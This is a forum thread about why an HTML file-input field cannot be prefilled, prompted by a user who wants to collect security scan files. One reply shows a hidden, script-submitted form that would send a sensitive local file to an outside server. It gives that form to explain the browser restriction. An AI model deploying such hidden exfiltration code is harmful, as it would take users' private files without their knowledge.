HTML Form population.

[Rilescat]

I have a form that picks up a file from the local system and emails to the administrators of the system.

How do I prepopulate the FILE field in HTML so that it will already have the path to the file I am looking to obtain? This is a static file, all I need to do is fill in the location (e.g. c:\file.txt )

The VALUE="c:\file.txt" item does not seem to work inside the FILE field. Please straighten me out on this annoying HTML issue.

Thank you,

 

[jpprod]

You cannot.

This is a security-related feature, since otherwise you could download files off the user's computer using form file inputs and javascript. An exploit would look something like this:

<div style="display:none">
<form target="http://my.server.com" enctype="multipart/form-data">
<input type="file" name="f" value="path_to_a_sensitive_file">
</form>
</div>
<script>
document.forms[0].submit();
</script>

 

[Rilescat]

hmm...cool. I am trying it now.

The object behind this is that we are picking up a Microsoft Baseline Scan off all of the systems and submitting it to a repository for security audits. Right now everyone has to browse to the file and submit it. I thought it would be easier to simply prepopulate the field for them.

I will try your way and see what I get.

Thanks

 

[Templeton]

Originally posted by: Rilescat
hmm...cool. I am trying it now.

The object behind this is that we are picking up a Microsoft Baseline Scan off all of the systems and submitting it to a repository for security audits. Right now everyone has to browse to the file and submit it. I thought it would be easier to simply prepopulate the field for them.

I will try your way and see what I get.

Thanks

You won't get anything, what he's saying is that if it were possible to assign a value to a file input field, sensitive information could be pulled from a users pc without them knowing about it using code as simple as what he provided. You'll need to look into something other then html if you really need this implemented, possibly a java applet to do the uploading, though you'll run into another set of security obstacles with this.

 

[Jzero]

Are you aware that MBSA can be scripted? You should be able to eliminate user interaction entirely.
Some examples

 

[jpprod]

Originally posted by: Templeton
You'll need to look into something other then html if you really need this implemented, possibly a java applet to do the uploading, though you'll run into another set of security obstacles with this.

You're right, a java applet would do the trick. It's possible to pretty much freelt access the local filesystem from a signed applet.